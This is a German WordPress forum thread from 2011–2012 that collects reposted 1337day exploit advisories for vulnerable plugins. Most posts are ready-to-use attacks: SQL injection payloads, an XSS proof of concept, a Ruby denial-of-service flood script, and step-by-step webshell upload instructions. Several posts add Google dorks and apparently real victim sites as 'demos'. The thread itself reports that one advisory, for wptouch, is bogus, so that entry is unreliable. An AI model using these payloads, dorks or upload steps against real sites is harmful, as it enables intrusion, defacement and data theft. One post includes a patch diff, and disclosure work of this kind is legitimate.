[Sammelthread] WordPress Plugin SQL Injections

Dat Inge · 16. Oktober 2011

WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability

WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability

# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)

---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

$separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&wppa-slide' : '';

Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
if (isset($_GET['wppa-'.$index])) { // New syntax first
return $_GET['wppa-'.$index];
}
if (isset($_GET[$index])) { // Old syntax
return $_GET[$index];
}
return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
echo $result;
return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****

function wppa_get_album_title_linktype($alb) {
global $wpdb;
!
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
--- 3361,3367 ----

function wppa_get_album_title_linktype($alb) {
global $wpdb;
! $alb=intval($alb);
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
***************
*** 3384,3387 ****
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }

# 1337day.com [2011-10-14]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17067

Dat Inge · 16. Oktober 2011

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/

# 1337day.com [2011-10-11]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17053

Dat Inge · 17. Oktober 2011

Dos BP Random Member Widget Plugin WordPress

# Exploit Title: Dos BP Random Member Widget Plugin WordPress
# Google Dork: allinurl: ?random-member
# Author: a01001100e@gmail.com
# Software Link: http://wordpress.org/extend/plugins/bp-random-member-widget/
# Version: BP Random Member Widget Version: 1.0
# Tested on: debian 2.6.32-5-686

require 'net/http'
require 'uri'

def fetch(uri_str, limit=0)
raise ArgumentError, 'HTTP redirect too deep' if limit == 0

response = Net::HTTP.get_response(URI.parse(uri_str))
case response
when Net::HTTPSuccess then
print response.code
when Net::HTTPRedirection then
a = response.body
else
response.error!
end
end

print "############################\n"
print "## DOS random-member ##\n"
print "## @author: a01001100e ##\n"
print "############################\n\n\n\n"

while 1 do
begin
t = Thread.new{fetch('http://www.sitio.com/members/?random-member')}
print "."
rescue Exception => msg
print "Error: "
puts msg
end
end

# 1337day.com [2011-10-17]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17075

Marcus[IS] · 29. Oktober 2011

Wie zuverlässig sind denn diese Infos?

wptouch plugin SQL Injection Vulnerability

# Exploit Title: WordPress wptouch plugin SQL Injection Vulnerability
# Date: 2011-27-10
# Author: longrifle0x
# software: Wordpress
# Tools: SQLMAP
---------------
(POST data)
---------------

http://www.site.com/wp-content/plugins/wptouch/ajax.php

#Exploit: id=-1; id=- AND SLEEP(5) or 1=if

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][CURRENT_USER()

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT
0,1)='Y') THEN 1 ELSE 0 END)

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][MID((VERSION()),1,6)

# 1337day.com [2011-10-27]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17134

Edit:
Scheinbar hat sich da jemand einen Scherz erlaubt.
Es gibt keine ajax.php im wptouch.
http://www.bravenewcode.com/2011/10/wptouch-recent-bogus-security-vulnerability-report/
Aber schon erstaunlich, wie viele Websites über diese "Sicherheitslücke" bereits berichtet haben.

Dat Inge · 3. Januar 2012

Wordpress Comment Rating plugin Multiple Vulnerabilities

Wordpress Comment Rating plugin Multiple Vulnerabilities

# Exploit Title: Wordpress comment rating plugin multiple Vulnerabilities
# Google Dork: 1- inurl:"/wp-content/plugins/comment-rating/"
# 2- inurl:"/ck-processkarma.php?id="
# Date: 2/1/2012
# Author: The Evil Thinker
# Contact : Enstene156@hotmail.fr
# Software Link: www.wordpress.com
# Vulnerable plugin: Comment rating plugin
# Tested on: Linux

Details :
---------

the vulnerable file is "ck-processkarma.php"
the script doesn't filter the input parameters (id "sql", path "XSS")

Poc 1 (XSS) :

http://www.TheMilkeyWay.exe/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=

Poc 2 (SQL injection) :

http://www.TheMilkeyWay.exe/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]*****Inject_me_From_Here*****&action=add&path=TheMilkeyWay.exe/wp-content/plugins/comment-rating/&imgIndex=

-------------------------------------------------------------------------------------------

Special Graetz : Zack (DBA-HACKER) , Siper-N , Root-Mar , Anash , H!ch4m , Dr.Unknown , Mario-Gomez , BiiF0 , o Bla mantawel LLista

# 1337day.com [2012-01-03]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17326

Dat Inge · 31. März 2012

WordPress deans with pwwangs code plugin for wordpress (FCKeditor) Remote File Upload

#### # Exploit Title: WordPress deans with pwwangs code plugin for wordpress (FCKeditor) Remote File Upload
# Author: T0x!c
# Date : 28/03/2012
# Facebook Page: www.facebook.com/DzTem
# E-mail: Malik_99@hotmail.fr
# Category:: webapps
# Google Dork: inurl:"plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/"
# Download: http://wordpress.org/extend/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/
# Version: 1.0.0
# Tested on: [Windows Xp]
####

[ Vulnerable File ]

http://127.0.0.1/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/fckeditor/editor/filemanager/connectors/uploadtest.html
or
http://127.0.0.1/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/filemanager/connectors/test.html

[ Shell ]

http://127.0.0.1/UserFiles/YourFile.txt

# Demo :
http://cougardating.datingease.com/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/fckeditor/editor/filemanager/upload/test.html
http://www.cereuswomen.com/podcast/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/filemanager/connectors/uploadtest.html
https://scandlearn.com/iphonebeta/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/fckeditor/editor/filemanager/connectors/test.html
http://blog.nextlevelworship.com/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/fckeditor/editor/filemanager/connectors/test.html#

=================================**AlgeriansHackers**==================================
# Greets To : KedAns-Dz * Caddy-Dz * Kha&miX * Jago-dz * Amine Msd * Kalashinkov *
(exploit-id.com) , (1337day.com) , (dis9.com) , (Dz-Team.biz)
=======================================================================================

# 1337day.com [2012-03-28]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17860

Dat Inge · 31. März 2012

Buddypress plugin of Wordpress remote SQL Injection

# Exploit Title: Buddypress plugin of Wordpress remote SQL Injection
# Date: March 31, 2012
# Author: Ivan Terkin
# Exploitation: Remote Exploit
# Bug: Remote SQL Injection
# Software Link: buddypress.org
# Version: till 1.5.5
# Tested on: Buddypress 1.5.4

POST /wp-load.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/activity/?s=b
Connection: Keep-Alive
Content-Length: 153
Content-Type: application/x-www-form-urlencoded

action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))%3b--+

Reported to developers and fixed in version 1.5.5

# 1337day.com [2012-03-31]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17906

Dat Inge · 4. April 2012

[MOWPOP] Plugin WP-CONTENT In Wordpress Upload Exploitation]

##################################################
# Exploit Title: [ [MOWPOP] Plugin WP-CONTENT In Wordpress Upload Exploitation]
# Date: [03-04-2012]
# Author: [ Hacker-Fire ]
# Category:: [ webapps]
# Google dork: [inurl:mowpop]
# Greetz Milw0rm : 1337day.com
# Demo site:
[1-http://www.updatedeinleben.com/wp-content/plugins/mowpop/submit.php]
[2-http://my-air-conditioner.com/wp-content/plugins/mowpop/submit.php]
[3-http://jennysweets.com/blog/wp-content/plugins/mowpop/submit.php]
# Tested on: [Windows & Linux ]
##################################################

1- Go to a website with the google dork and modify all url (without domain) with "/wp-content/plugins/mowpop/submit.php"

2- Take your Shell.php in text fields.

3- Open Tamper Data or HTTP Live Header.

4- Capture or Alter the upload.

5- Modify the content type with: "image/gif"

6- Drag'n'drop the borken picture obtained in the url bar.

7- Go to the url.

8- Ascend to the index.php with ".." url.

9- Upload your deface or other.

##########################################################
[»] Greetz to :

[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ]
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]
[ And all my Freinds + Algerian Hackers ]

##########################################################

# 1337day.com [2012-04-03]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17931

karim · 6. April 2012

Zitat von Dat Inge: ↑

Ich werde hier Lücken in verschieden Plugins posten. Grund ist einfach, um euch vor Hacks zu schützen. Ihr solltet also diese Plugins erstmal deaktivieren.

WordPress KNR Author List Widget plugin (SQL Injection)

http://www.1337day.com/exploits/16839
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

Scheint mir einbischen aus dem offiziellen Repo gflogen zu sein oder? Ich denke zu mindest das das so ist.

lg

Dat Inge · 6. April 2012

Wordpress taggator plugin Sql Injection Vulnerabilities

a bug in Wordpress taggator plugin that allows to us to occur
a Sql Injection on a Remote machin.

########################################################
#
# Exploit Title : Wordpress taggator plugin Sql Injection Vulnerabilities
#
# Author : #BHG Security Center - IrIsT Security Team
#
# Discovered By : Am!r
#
# Home : http://Black-hg.Org - http://IrIsT.Ir
#
# Software Link : http://wordpress.org/extend/plugins/taggator/
#
# Security Risk : High
#
# Version : All Version
#
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork : "Powered by Wordpress"
#
########################################################
#
# Expl0iTs :
#
# [TarGeT]/wp-content/plugins/taggator/taggator.php?tagid=[Sql]
#
#########################################################
#
# Special Thanks To : Net.Edit0r - 3H34N - A.Cr0x - 4M!N - ArYaIeIrAN -
#
# G3n3rall - Mr.XHat - Bl4ck.Viper - Dj.TiniVini - B3Hz4d - Crim3R - d3c0d3r
#
#########################################################
#
# GreetZ : All Active Member in #BHG Security Center & IrIsT.Ir
#
#########################################################

# 1337day.com [2012-04-06]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17992

Dat Inge · 7. April 2012

[Wp-insert Wordpress Plugin [FCKeditor] Upload]

##################################################
# Exploit Title: [Wp-insert Wordpress Plugin [FCKeditor] Upload]
# Date: [06-04-2012]
# Author: [Hacker-Fire]
# Category:: [ webapps]
# Software Link: [http://wordpress.org/extend/plugins/wp-insert/]
# Google dork: [ /wp-insert/fckeditor/]
# Tested on: [Windows 7 & BT5r2 ]
# Demo site: [http://www.hiphopcongress.com/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/frmupload.html]
[http://fop95.com/blog/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/frmupload.html]
[http://elles.centrepompidou.fr/blog/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/frmupload.html]
##################################################

[~] P0c [~] :

Vuln Upload file in :

localhost/PATH/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/frmupload.html

Upload Your Shell : php;gif & Enjoy .

##########################################################
[»] Greetz to :

[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ]
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]
[ And all my Freinds + Algerian Hackers ]

##########################################################

# 1337day.com [2012-04-07]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17994

Dat Inge · 13. April 2012

Email Before Download <=3.16 Remote Blind SQL Inyection

# Wordpress Plugin: Email Before Download <=3.16 Remote Blind SQL Inyection
# Dork: allinurl: plugins/email-before-download
# Download: https://wordpress.org/extend/plugins/email-before-download/
# Date: 13/04/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar

The variable $download_id is not properly sanitized with $wpdb->escape() before using it.

On line 120 (File: /email-before-download/email-before-download.php) we can see that:
=====================================================================================

120: $ebd_item = $wpdb->get_row( "SELECT * FROM $table_item WHERE download_id = '$download_id' " );

In the HTML generated, we can see that $download_id takes the $_POST value variable "_wpcf7_download_id" :

201: $hf .= '<input type="hidden" name="_wpcf7_download_id" value="' . $download_id. '" /></form>';

PoC:
====

POST http://website.com/?tag=some-post-with-contact-form

Data:
=====
_wpcf7=135&_wpcf7_download_id=6 [SQL HERE]&_wpcf7_unit_tag=wpcf7-f105-p1635-o1&_wpcf7_version=3.0.1&your-email=email@sample.com&your-enterprise=1&your-name=test

Example:
========
_wpcf7=135&_wpcf7_download_id=6 and sleep(10)&_wpcf7_unit_tag=wpcf7-f105-p1635-o1&_wpcf7_version=3.0.1&your-email=email@sample.com&your-enterprise=1&your-name=test

(POST variables names may vary)

# 1337day.com [2012-04-13]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/18049

WPDE.org

[Sammelthread] WordPress Plugin SQL Injections

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Marcus[IS] Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

karim Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Nützliche Suchen

[Sammelthread] WordPress Plugin SQL Injections

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Marcus[IS] Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

karim Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member